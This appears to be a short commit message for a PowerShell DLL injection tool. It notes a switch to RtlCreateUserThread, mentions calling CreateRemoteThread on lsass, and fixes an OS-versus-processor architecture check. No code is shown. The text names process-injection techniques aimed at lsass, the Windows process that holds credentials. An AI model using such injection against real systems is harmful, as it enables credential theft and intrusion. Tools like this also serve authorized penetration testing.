Invoke-DllInjection now calls RtlCreateUserThread

Calling CreateRemoteThread on lsass.

Bug fix: Invoke-DllInjection was checking the processor architecture
when it should have been validating the OS architecture. This would
cause Invoke-DllInjection to fail on a 32-bit OS with a 64-bit
processor.
